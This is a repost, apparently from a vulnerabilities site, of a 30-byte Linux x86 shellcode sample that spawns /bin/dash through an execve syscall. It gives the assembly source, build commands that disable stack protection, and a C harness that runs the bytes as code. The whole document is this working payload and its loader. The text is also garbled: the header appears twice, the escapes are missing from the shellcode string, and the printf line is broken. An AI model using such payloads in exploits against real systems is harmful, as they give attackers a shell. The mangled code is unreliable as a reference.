/*
################## Description ####################
; Title : exec /bin/dash - Shellcode
; Author : Hashim Jawad
; Website : ihack4falafel[.]com
/*
################## Description ####################
; Title : exec /bin/dash - Shellcode
; Author : Hashim Jawad
; Website : ihack4falafel[.]com
; Twitter : @ihack4falafel
; SLAE ID : SLAE-1115
; Purpose : spawn /bin/dash shell
; OS : Linux
; Arch : x86
; Size : 30 bytes
################### dash.nasm #####################
global _start
section .text
_start:
; push NULL into the stack
xor eax, eax
push eax
; push (////bin/dash) into the stack
push 0x68736164
push 0x2f6e6962
push 0x2f2f2f2f
; push ESP pointer to EBX
mov ebx, esp
; execute __NR_execve syscall
push eax
mov edx, esp
push ebx
mov ecx, esp
mov al, 0xb
int 0x80
################### dash binary #####################
nasm -f elf32 -o dash.o dash.nasm
ld -z execstack -o dash dash.o
################### Shellcode ########################
objdump -d dash -M intel
################## Compile #########################
gcc -fno-stack-protector -z execstack dash.c -o dash
*/
#include<stdio.h>
#include<string.h>
unsigned char code[] =
"x31xc0x50x68x64x61x73x68x68x62x69x6ex2fx68x2fx2fx2fx2fx89xe3x50x89xe2x53x89xe1xb0x0bxcdx80";
main()
{
printf("Shellcode Length: %d
", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Linux x86 exec bin dash Shellcode
- Details
- Written by: khalil shreateh
- Category: Vulnerabilities
- Hits: 389